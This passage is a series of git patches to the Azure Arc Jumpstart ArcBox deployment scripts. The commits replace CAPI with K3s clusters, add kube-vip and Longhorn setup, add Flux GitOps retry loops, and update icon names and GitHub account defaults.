$Env:k3sArcClusterName=$Env:k3sArcClusterName -replace "`n","" $k3sNamespace = "hello-arc" diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 index ecdb1319df..1a2d2416bb 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 @@ -1,5 +1,5 @@ $Env:ArcBoxLogsDir = "C:\ArcBox\Logs" -$Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "K3s" | Where-Object { $_ -ne "" } +$Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "ArcBox-K3s" | Where-Object { $_ -ne "" } $Env:k3sArcClusterName=$Env:k3sArcClusterName -replace "`n","" $k3sNamespace = "hello-arc" @@ -24,7 +24,7 @@ kubectx ############################# # Create GitOps config for Hello-Arc RBAC -echo "Creating GitOps config for Hello-Arc RBAC" +Write-Host "Creating GitOps config for Hello-Arc RBAC" az k8s-configuration flux create ` --cluster-name $Env:k3sArcClusterName ` --resource-group $Env:resourceGroup ` From d00752ea2ae310a7695da89310a9a45cd904bf26 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 12 Jun 2024 12:36:39 -0400 Subject: [PATCH 143/506] update icon names --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 8c85b6dafa..51c021ceb4 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -454,7 +454,7 @@ New-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallFo Write-Header "Creating Desktop Icons" # Creating K3s Hello Arc Icon on Desktop -$shortcutLocation = "$Env:Public\Desktop\K3s Hello-Arc.lnk" +$shortcutLocation = "$Env:Public\Desktop\Hello-Arc.lnk" $wScriptShell = New-Object -ComObject WScript.Shell $shortcut = $wScriptShell.CreateShortcut($shortcutLocation) $shortcut.TargetPath = "http://$certdns" @@ -463,7 +463,7 @@ $shortcut.WindowStyle = 3 $shortcut.Save() # Creating K3s Bookstore Icon on Desktop -$shortcutLocation = "$Env:Public\Desktop\K3s Bookstore.lnk" +$shortcutLocation = "$Env:Public\Desktop\Bookstore.lnk" $wScriptShell = New-Object -ComObject WScript.Shell $shortcut = $wScriptShell.CreateShortcut($shortcutLocation) $shortcut.TargetPath = "pwsh.exe" From 984145308258c5c4688854fa13f3494e443d791e Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 12 Jun 2024 21:56:29 -0400 Subject: [PATCH 144/506] fix format --- .../artifacts/DevOpsLogonScript.ps1 | 313 +++++++++--------- 1 file changed, 158 insertions(+), 155 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 51c021ceb4..57b170bbd8 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -102,170 +102,173 @@ az config set extension.use_dynamic_install=yes_without_prompt Write-Host "`n" az -v -foreach ($cluster in $clusters) { - -Write-Header "Configuring kube-vip on K3s cluster" -$Env:KUBECONFIG=$cluster.kubeConfig -kubectx - -$nicName = $cluster.clusterName + "-NIC" -$k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``true``].privateIPAddress" -otsv - -# Apply kube-vip RBAC manifests https://kube-vip.io/manifests/rbac.yaml -$kubeVipRBAC = @" -apiVersion: v1 -kind: ServiceAccount -metadata: - name: kube-vip - namespace: kube-system ---- -apiVersion: rbac.authorization.k8s.io/v1 -kind: ClusterRole -metadata: - annotations: - rbac.authorization.kubernetes.io/autoupdate: "true" - name: system:kube-vip-role -rules: - - apiGroups: [""] - resources: ["services/status"] - verbs: ["update"] - - apiGroups: [""] - resources: ["services", "endpoints"] - verbs: ["list","get","watch", "update"] - - apiGroups: [""] - resources: ["nodes"] - verbs: ["list","get","watch", "update", "patch"] - - apiGroups: ["coordination.k8s.io"] - resources: ["leases"] - verbs: ["list", "get", "watch", "update", "create"] - - apiGroups: ["discovery.k8s.io"] - resources: ["endpointslices"] - verbs: ["list","get","watch", "update"] ---- -kind: ClusterRoleBinding -apiVersion: rbac.authorization.k8s.io/v1 -metadata: - name: system:kube-vip-binding -roleRef: - apiGroup: rbac.authorization.k8s.io +# foreach ($cluster in $clusters) { + +$clusters | Foreach-Object -ThrottleLimit 5 -Parallel { + $cluster = $_ + + Write-Header "Configuring kube-vip on K3s cluster" + $Env:KUBECONFIG=$cluster.kubeConfig + kubectx + + $nicName = $cluster.clusterName + "-NIC" + $k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``true``].privateIPAddress" -otsv + + # Apply kube-vip RBAC manifests https://kube-vip.io/manifests/rbac.yaml + $kubeVipRBAC = @" + apiVersion: v1 + kind: ServiceAccount + metadata: + name: kube-vip + namespace: kube-system + --- + apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole - name: system:kube-vip-role -subjects: -- kind: ServiceAccount - name: kube-vip - namespace: kube-system + metadata: + annotations: + rbac.authorization.kubernetes.io/autoupdate: "true" + name: system:kube-vip-role + rules: + - apiGroups: [""] + resources: ["services/status"] + verbs: ["update"] + - apiGroups: [""] + resources: ["services", "endpoints"] + verbs: ["list","get","watch", "update"] + - apiGroups: [""] + resources: ["nodes"] + verbs: ["list","get","watch", "update", "patch"] + - apiGroups: ["coordination.k8s.io"] + resources: ["leases"] + verbs: ["list", "get", "watch", "update", "create"] + - apiGroups: ["discovery.k8s.io"] + resources: ["endpointslices"] + verbs: ["list","get","watch", "update"] + --- + kind: ClusterRoleBinding + apiVersion: rbac.authorization.k8s.io/v1 + metadata: + name: system:kube-vip-binding + roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: system:kube-vip-role + subjects: + - kind: ServiceAccount + name: kube-vip + namespace: kube-system "@ -$kubeVipRBAC | kubectl apply -f - - -# Apply kube-vip DaemonSet -$kubeVipDaemonset = @" -apiVersion: apps/v1 -kind: DaemonSet -metadata: - creationTimestamp: null - labels: - app.kubernetes.io/name: kube-vip-ds - app.kubernetes.io/version: v0.7.0 - name: kube-vip-ds - namespace: kube-system -spec: - selector: - matchLabels: + $kubeVipRBAC | kubectl apply -f - + + # Apply kube-vip DaemonSet + $kubeVipDaemonset = @" + apiVersion: apps/v1 + kind: DaemonSet + metadata: + creationTimestamp: null + labels: app.kubernetes.io/name: kube-vip-ds - template: - metadata: - creationTimestamp: null - labels: + app.kubernetes.io/version: v0.7.0 + name: kube-vip-ds + namespace: kube-system + spec: + selector: + matchLabels: app.kubernetes.io/name: kube-vip-ds - app.kubernetes.io/version: v0.7.0 - spec: - affinity: - nodeAffinity: - requiredDuringSchedulingIgnoredDuringExecution: - nodeSelectorTerms: - - matchExpressions: - - key: node-role.kubernetes.io/master - operator: Exists - - matchExpressions: - - key: node-role.kubernetes.io/control-plane - operator: Exists - containers: - - args: - - manager - env: - - name: vip_arp - value: "true" - - name: port - value: "6443" - - name: vip_interface - value: eth0 - - name: vip_cidr - value: "32" - - name: dns_mode - value: first - - name: cp_enable - value: "true" - - name: cp_namespace - value: kube-system - - name: svc_enable - value: "true" - - name: svc_leasename - value: plndr-svcs-lock - - name: vip_leaderelection - value: "true" - - name: vip_leasename - value: plndr-cp-lock - - name: vip_leaseduration - value: "5" - - name: vip_renewdeadline - value: "3" - - name: vip_retryperiod - value: "1" - - name: address - value: "$k3sVIP" - - name: prometheus_server - value: :2112 - image: ghcr.io/kube-vip/kube-vip:v0.7.0 - imagePullPolicy: Always - name: kube-vip - resources: {} - securityContext: - capabilities: - add: - - NET_ADMIN - - NET_RAW - hostNetwork: true - serviceAccountName: kube-vip - tolerations: - - effect: NoSchedule - operator: Exists - - effect: NoExecute - operator: Exists - updateStrategy: {} -status: - currentNumberScheduled: 0 - desiredNumberScheduled: 0 - numberMisscheduled: 0 - numberReady: 0 + template: + metadata: + creationTimestamp: null + labels: + app.kubernetes.io/name: kube-vip-ds + app.kubernetes.io/version: v0.7.0 + spec: + affinity: + nodeAffinity: + requiredDuringSchedulingIgnoredDuringExecution: + nodeSelectorTerms: + - matchExpressions: + - key: node-role.kubernetes.io/master + operator: Exists + - matchExpressions: + - key: node-role.kubernetes.io/control-plane + operator: Exists + containers: + - args: + - manager + env: + - name: vip_arp + value: "true" + - name: port + value: "6443" + - name: vip_interface + value: eth0 + - name: vip_cidr + value: "32" + - name: dns_mode + value: first + - name: cp_enable + value: "true" + - name: cp_namespace + value: kube-system + - name: svc_enable + value: "true" + - name: svc_leasename + value: plndr-svcs-lock + - name: vip_leaderelection + value: "true" + - name: vip_leasename + value: plndr-cp-lock + - name: vip_leaseduration + value: "5" + - name: vip_renewdeadline + value: "3" + - name: vip_retryperiod + value: "1" + - name: address + value: "$k3sVIP" + - name: prometheus_server + value: :2112 + image: ghcr.io/kube-vip/kube-vip:v0.7.0 + imagePullPolicy: Always + name: kube-vip + resources: {} + securityContext: + capabilities: + add: + - NET_ADMIN + - NET_RAW + hostNetwork: true + serviceAccountName: kube-vip + tolerations: + - effect: NoSchedule + operator: Exists + - effect: NoExecute + operator: Exists + updateStrategy: {} + status: + currentNumberScheduled: 0 + desiredNumberScheduled: 0 + numberMisscheduled: 0 + numberReady: 0 "@ -$kubeVipDaemonset | kubectl apply -f - + $kubeVipDaemonset | kubectl apply -f - -# Kube vip cloud controller -kubectl apply -f https://raw.githubusercontent.com/kube-vip/kube-vip-cloud-provider/main/manifest/kube-vip-cloud-controller.yaml + # Kube vip cloud controller + kubectl apply -f https://raw.githubusercontent.com/kube-vip/kube-vip-cloud-provider/main/manifest/kube-vip-cloud-controller.yaml -# Set kube-vip range-global for kubernetes services -$serviceIpRange = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``false``].privateIPAddress" -otsv -$sortedIps = $serviceIpRange | Sort-Object {[System.Version]$_} -$lowestServiceIp = $sortedIps[0] -$highestServiceIp = $sortedIps[-1] + # Set kube-vip range-global for kubernetes services + $serviceIpRange = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``false``].privateIPAddress" -otsv + $sortedIps = $serviceIpRange | Sort-Object {[System.Version]$_} + $lowestServiceIp = $sortedIps[0] + $highestServiceIp = $sortedIps[-1] -kubectl create configmap -n kube-system kubevip --from-literal range-global=$lowestServiceIp-$highestServiceIp -Start-Sleep -Seconds 30 + kubectl create configmap -n kube-system kubevip --from-literal range-global=$lowestServiceIp-$highestServiceIp + Start-Sleep -Seconds 30 -Write-Header "Creating longhorn storage on K3scluster" -kubectl apply -f "$Env:ArcBoxDir\longhorn.yaml" --kubeconfig $cluster.kubeConfig -Start-Sleep -Seconds 30 -Write-Host "`n" + Write-Header "Creating longhorn storage on K3scluster" + kubectl apply -f "$Env:ArcBoxDir\longhorn.yaml" --kubeconfig $cluster.kubeConfig + Start-Sleep -Seconds 30 + Write-Host "`n" } # # Longhorn setup for RWX-capable storage class From ac20698cb90967c49f5267527ddcf224c8b314e3 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 12 Jun 2024 23:43:34 -0400 Subject: [PATCH 145/506] fix format --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 57b170bbd8..e45fc2f83b 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -102,10 +102,7 @@ az config set extension.use_dynamic_install=yes_without_prompt Write-Host "`n" az -v -# foreach ($cluster in $clusters) { - -$clusters | Foreach-Object -ThrottleLimit 5 -Parallel { - $cluster = $_ +foreach ($cluster in $clusters) { Write-Header "Configuring kube-vip on K3s cluster" $Env:KUBECONFIG=$cluster.kubeConfig @@ -158,6 +155,7 @@ $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { name: kube-vip namespace: kube-system "@ + $kubeVipRBAC | kubectl apply -f - # Apply kube-vip DaemonSet @@ -251,6 +249,7 @@ $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { numberMisscheduled: 0 numberReady: 0 "@ + $kubeVipDaemonset | kubectl apply -f - # Kube vip cloud controller From 26e47c0a8bf918ca68025803308830dc4731dd66 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 13 Jun 2024 18:35:11 -0400 Subject: [PATCH 146/506] fix inline kubectl format --- .../artifacts/DevOpsLogonScript.ps1 | 295 ++++++++++-------- 1 file changed, 162 insertions(+), 133 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index e45fc2f83b..5b363a155d 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -111,146 +111,146 @@ foreach ($cluster in $clusters) { $nicName = $cluster.clusterName + "-NIC" $k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``true``].privateIPAddress" -otsv - # Apply kube-vip RBAC manifests https://kube-vip.io/manifests/rbac.yaml - $kubeVipRBAC = @" - apiVersion: v1 - kind: ServiceAccount - metadata: - name: kube-vip - namespace: kube-system - --- - apiVersion: rbac.authorization.k8s.io/v1 +# Apply kube-vip RBAC manifests https://kube-vip.io/manifests/rbac.yaml +$kubeVipRBAC = @" +apiVersion: v1 +kind: ServiceAccount +metadata: + name: kube-vip + namespace: kube-system +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + annotations: + rbac.authorization.kubernetes.io/autoupdate: "true" + name: system:kube-vip-role +rules: + - apiGroups: [""] + resources: ["services/status"] + verbs: ["update"] + - apiGroups: [""] + resources: ["services", "endpoints"] + verbs: ["list","get","watch", "update"] + - apiGroups: [""] + resources: ["nodes"] + verbs: ["list","get","watch", "update", "patch"] + - apiGroups: ["coordination.k8s.io"] + resources: ["leases"] + verbs: ["list", "get", "watch", "update", "create"] + - apiGroups: ["discovery.k8s.io"] + resources: ["endpointslices"] + verbs: ["list","get","watch", "update"] +--- +kind: ClusterRoleBinding +apiVersion: rbac.authorization.k8s.io/v1 +metadata: + name: system:kube-vip-binding +roleRef: + apiGroup: rbac.authorization.k8s.io kind: ClusterRole - metadata: - annotations: - rbac.authorization.kubernetes.io/autoupdate: "true" - name: system:kube-vip-role - rules: - - apiGroups: [""] - resources: ["services/status"] - verbs: ["update"] - - apiGroups: [""] - resources: ["services", "endpoints"] - verbs: ["list","get","watch", "update"] - - apiGroups: [""] - resources: ["nodes"] - verbs: ["list","get","watch", "update", "patch"] - - apiGroups: ["coordination.k8s.io"] - resources: ["leases"] - verbs: ["list", "get", "watch", "update", "create"] - - apiGroups: ["discovery.k8s.io"] - resources: ["endpointslices"] - verbs: ["list","get","watch", "update"] - --- - kind: ClusterRoleBinding - apiVersion: rbac.authorization.k8s.io/v1 - metadata: - name: system:kube-vip-binding - roleRef: - apiGroup: rbac.authorization.k8s.io - kind: ClusterRole - name: system:kube-vip-role - subjects: - - kind: ServiceAccount - name: kube-vip - namespace: kube-system + name: system:kube-vip-role +subjects: +- kind: ServiceAccount + name: kube-vip + namespace: kube-system "@ - $kubeVipRBAC | kubectl apply -f - - - # Apply kube-vip DaemonSet - $kubeVipDaemonset = @" - apiVersion: apps/v1 - kind: DaemonSet - metadata: - creationTimestamp: null - labels: +$kubeVipRBAC | kubectl apply -f - + +# Apply kube-vip DaemonSet +$kubeVipDaemonset = @" +apiVersion: apps/v1 +kind: DaemonSet +metadata: + creationTimestamp: null + labels: + app.kubernetes.io/name: kube-vip-ds + app.kubernetes.io/version: v0.7.0 + name: kube-vip-ds + namespace: kube-system +spec: + selector: + matchLabels: app.kubernetes.io/name: kube-vip-ds - app.kubernetes.io/version: v0.7.0 - name: kube-vip-ds - namespace: kube-system - spec: - selector: - matchLabels: + template: + metadata: + creationTimestamp: null + labels: app.kubernetes.io/name: kube-vip-ds - template: - metadata: - creationTimestamp: null - labels: - app.kubernetes.io/name: kube-vip-ds - app.kubernetes.io/version: v0.7.0 - spec: - affinity: - nodeAffinity: - requiredDuringSchedulingIgnoredDuringExecution: - nodeSelectorTerms: - - matchExpressions: - - key: node-role.kubernetes.io/master - operator: Exists - - matchExpressions: - - key: node-role.kubernetes.io/control-plane - operator: Exists - containers: - - args: - - manager - env: - - name: vip_arp - value: "true" - - name: port - value: "6443" - - name: vip_interface - value: eth0 - - name: vip_cidr - value: "32" - - name: dns_mode - value: first - - name: cp_enable - value: "true" - - name: cp_namespace - value: kube-system - - name: svc_enable - value: "true" - - name: svc_leasename - value: plndr-svcs-lock - - name: vip_leaderelection - value: "true" - - name: vip_leasename - value: plndr-cp-lock - - name: vip_leaseduration - value: "5" - - name: vip_renewdeadline - value: "3" - - name: vip_retryperiod - value: "1" - - name: address - value: "$k3sVIP" - - name: prometheus_server - value: :2112 - image: ghcr.io/kube-vip/kube-vip:v0.7.0 - imagePullPolicy: Always - name: kube-vip - resources: {} - securityContext: - capabilities: - add: - - NET_ADMIN - - NET_RAW - hostNetwork: true - serviceAccountName: kube-vip - tolerations: - - effect: NoSchedule - operator: Exists - - effect: NoExecute - operator: Exists - updateStrategy: {} - status: - currentNumberScheduled: 0 - desiredNumberScheduled: 0 - numberMisscheduled: 0 - numberReady: 0 + app.kubernetes.io/version: v0.7.0 + spec: + affinity: + nodeAffinity: + requiredDuringSchedulingIgnoredDuringExecution: + nodeSelectorTerms: + - matchExpressions: + - key: node-role.kubernetes.io/master + operator: Exists + - matchExpressions: + - key: node-role.kubernetes.io/control-plane + operator: Exists + containers: + - args: + - manager + env: + - name: vip_arp + value: "true" + - name: port + value: "6443" + - name: vip_interface + value: eth0 + - name: vip_cidr + value: "32" + - name: dns_mode + value: first + - name: cp_enable + value: "true" + - name: cp_namespace + value: kube-system + - name: svc_enable + value: "true" + - name: svc_leasename + value: plndr-svcs-lock + - name: vip_leaderelection + value: "true" + - name: vip_leasename + value: plndr-cp-lock + - name: vip_leaseduration + value: "5" + - name: vip_renewdeadline + value: "3" + - name: vip_retryperiod + value: "1" + - name: address + value: "$k3sVIP" + - name: prometheus_server + value: :2112 + image: ghcr.io/kube-vip/kube-vip:v0.7.0 + imagePullPolicy: Always + name: kube-vip + resources: {} + securityContext: + capabilities: + add: + - NET_ADMIN + - NET_RAW + hostNetwork: true + serviceAccountName: kube-vip + tolerations: + - effect: NoSchedule + operator: Exists + - effect: NoExecute + operator: Exists + updateStrategy: {} +status: + currentNumberScheduled: 0 + desiredNumberScheduled: 0 + numberMisscheduled: 0 + numberReady: 0 "@ - $kubeVipDaemonset | kubectl apply -f - +$kubeVipDaemonset | kubectl apply -f - # Kube vip cloud controller kubectl apply -f https://raw.githubusercontent.com/kube-vip/kube-vip-cloud-provider/main/manifest/kube-vip-cloud-controller.yaml @@ -373,6 +373,35 @@ az k8s-configuration flux create ` --branch main --sync-interval 3s ` --kustomization name=helloarc path=./hello-arc/yaml +$configs = $(az k8s-configuration flux list --cluster-name $Env:k3sArcDataClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup --query "[].name" -otsv) + +foreach ($configName in $configs) { + Write-Host "Checking GitOps configuration $configName on $Env:k3sArcDataClusterName" + $retryCount = 0 + $maxRetries = 5 + do { + $configStatus = $(az k8s-configuration flux show --name $configName --cluster-name $Env:k3sArcDataClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup -o json 2>$null) | convertFrom-JSON + if ($configStatus.ComplianceState -eq "Compliant") { + Write-Host "GitOps configuration $configName is ready on $Env:k3sArcDataClusterName" + } + else { + if ($configStatus.ComplianceState -ne "Non-compliant") { + Start-Sleep -Seconds 60 + } + elseif ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -lt $maxRetries) { + Start-Sleep -Seconds 60 + $configStatus = $(az k8s-configuration flux show --name $configName --cluster-name $Env:k3sArcDataClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup -o json 2>$null) | convertFrom-JSON + if ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -lt $maxRetries) { + $retryCount++ + } + } + elseif ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -eq $maxRetries) { + Write-Host "GitOps configuration $configName has failed on $Env:k3sArcDataClusterName. Exiting..." + break + } + } + } until ($configStatus.ComplianceState -eq "Compliant") +} # ################################################ # # - Install Key Vault Extension / Create Ingress # ################################################ From 7995479064833d64a02b5107d59ef852d4605b71 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 13 Jun 2024 20:41:22 -0400 Subject: [PATCH 147/506] add retry for k3s gitops --- .../artifacts/gitops_scripts/K3sGitOps.ps1 | 30 +++++++++++++++++++ 1 file changed, 30 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 index 3da9a15048..8d29d8cf63 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 @@ -58,6 +58,36 @@ az k8s-configuration flux create ` --branch main --sync-interval 3s ` --kustomization name=helloarc path=./hello-arc/yaml +$configs = $(az k8s-configuration flux list --cluster-name $Env:k3sArcClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup --query "[].name" -otsv) + +foreach ($configName in $configs) { + Write-Host "Checking GitOps configuration $configName on $Env:k3sArcClusterName" + $retryCount = 0 + $maxRetries = 5 + do { + $configStatus = $(az k8s-configuration flux show --name $configName --cluster-name $Env:k3sArcClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup -o json 2>$null) | convertFrom-JSON + if ($configStatus.ComplianceState -eq "Compliant") { + Write-Host "GitOps configuration $configName is ready on $Env:k3sArcClusterName" + } + else { + if ($configStatus.ComplianceState -ne "Non-compliant") { + Start-Sleep -Seconds 60 + } + elseif ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -lt $maxRetries) { + Start-Sleep -Seconds 60 + $configStatus = $(az k8s-configuration flux show --name $configName --cluster-name $Env:k3sArcClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup -o json 2>$null) | convertFrom-JSON + if ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -lt $maxRetries) { + $retryCount++ + } + } + elseif ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -eq $maxRetries) { + Write-Host "GitOps configuration $configName has failed on $Env:k3sArcClusterName. Exiting..." + break + } + } + } until ($configStatus.ComplianceState -eq "Compliant") +} + # ################################################ # # - Install Key Vault Extension / Create Ingress # ################################################ From 5cf9318d8ca94c8755ee45a3c6538596348e2de2 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Fri, 14 Jun 2024 00:06:54 -0400 Subject: [PATCH 148/506] update github account --- azure_jumpstart_arcbox/bicep/main.bicep | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 3efc686c0f..abee87be15 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -40,7 +40,7 @@ param logAnalyticsWorkspaceName string param flavor string = 'Full' @description('Target GitHub account') -param githubAccount string = 'zaidmohd' +param githubAccount string = 'microsoft' @description('Target GitHub branch') param githubBranch string = 'arcbox_3.0' @@ -49,7 +49,7 @@ param githubBranch string = 'arcbox_3.0' param deployBastion bool = false @description('User github account where they have forked https://github.com/microsoft/azure-arc-jumpstart-apps') -param githubUser string = 'zaidmohd' +param githubUser string = 'microsoft' @description('Active directory domain services domain name') param addsDomainName string = 'jumpstart.local' From fdb53661e8acb3b661f59185e511570416a695db Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Fri, 14 Jun 2024 04:07:59 +0000 Subject: [PATCH 149/506] Arcbox 3.0 - Replace CAPI (#2581) * replace capi * fix az login * update to managed identity * enable system assigned identity * remove debugging * comment resource provider, this will be part of pre-req * update ip address * remove kv extension * add kubevip for service ip * fix kube config * fix nic name * fix nic name * fix kube config * Add role assignment dependency * add kubeconfig * update https * remove kube vip rbac url * remove spn details * update k3s scripts * k3s reset script changes * Fix resource name * update icon names * fix format * fix format * fix inline kubectl format * add retry for k3s gitops * update github account --- .../artifacts/BookStoreLaunch.ps1 | 2 +- .../artifacts/Bootstrap.ps1 | 10 +- .../artifacts/DataOpsLogonScript.ps1 | 2 +- .../artifacts/DevOpsLogonScript.ps1 | 376 +- .../artifacts/devops_ingress/bookbuyer.yaml | 57 +- .../artifacts/devops_ingress/bookstore.yaml | 57 +- .../artifacts/devops_ingress/hello-arc.yaml | 57 +- .../artifacts/gitops_scripts/K3sGitOps.ps1 | 233 +- .../artifacts/gitops_scripts/K3sRBAC.ps1 | 11 +- .../gitops_scripts/ResetBookstore.ps1 | 29 +- .../artifacts/installK3s.sh | 245 +- .../artifacts/longhorn.yaml | 4571 +++++++++++++++++ .../bicep/clientVm/clientVm.bicep | 7 +- .../bicep/kubernetes/aks.bicep | 2 +- .../bicep/kubernetes/ubuntuRancher.bicep | 83 +- .../bicep/kubernetes/ubuntuRancherNodes.bicep | 164 + azure_jumpstart_arcbox/bicep/main.bicep | 51 +- 17 files changed, 5452 insertions(+), 505 deletions(-) create mode 100644 azure_jumpstart_arcbox/artifacts/longhorn.yaml create mode 100644 azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep diff --git a/azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 b/azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 index 59edcc6b9b..6354717a4c 100644 --- a/azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 +++ b/azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 @@ -1,2 +1,2 @@ -Start-Process -FilePath msedge -ArgumentList '--new-window https://arcbox.devops.com/bookbuyer https://arcbox.devops.com/bookstore https://arcbox.devops.com/bookstore-v2' +Start-Process -FilePath msedge -ArgumentList '--new-window http://arcbox.devops.com/bookbuyer http://arcbox.devops.com/bookstore http://arcbox.devops.com/bookstore-v2' [Environment]::Exit(1) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index f4466a3811..90266d939a 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -21,7 +21,7 @@ param ( [string]$POSTGRES_SERVICE_TYPE, [string]$stagingStorageAccountName, [string]$workspaceName, - [string]$capiArcDataClusterName, + [string]$k3sArcDataClusterName, [string]$k3sArcClusterName, [string]$aksArcClusterName, [string]$aksdrArcClusterName, @@ -31,7 +31,8 @@ param ( [string]$rdpPort, [string]$sshPort, [string]$vmAutologon, - [string]$addsDomainName + [string]$addsDomainName, + [string]$customLocationRPOID ) [System.Environment]::SetEnvironmentVariable('adminUsername', $adminUsername, [System.EnvironmentVariableTarget]::Machine) @@ -51,7 +52,7 @@ param ( [System.Environment]::SetEnvironmentVariable('POSTGRES_SERVICE_TYPE', $POSTGRES_SERVICE_TYPE, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('stagingStorageAccountName', $stagingStorageAccountName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('workspaceName', $workspaceName, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('capiArcDataClusterName', $capiArcDataClusterName, [System.EnvironmentVariableTarget]::Machine) +[System.Environment]::SetEnvironmentVariable('k3sArcDataClusterName', $k3sArcDataClusterName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('k3sArcClusterName', $k3sArcClusterName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('githubUser', $githubUser, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('templateBaseUrl', $templateBaseUrl, [System.EnvironmentVariableTarget]::Machine) @@ -60,6 +61,7 @@ param ( [System.Environment]::SetEnvironmentVariable('addsDomainName', $addsDomainName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('aksArcClusterName', $aksArcClusterName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('aksdrArcClusterName', $aksdrArcClusterName, [System.EnvironmentVariableTarget]::Machine) +[System.Environment]::SetEnvironmentVariable('customLocationRPOID', $customLocationRPOID, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('ArcBoxDir', 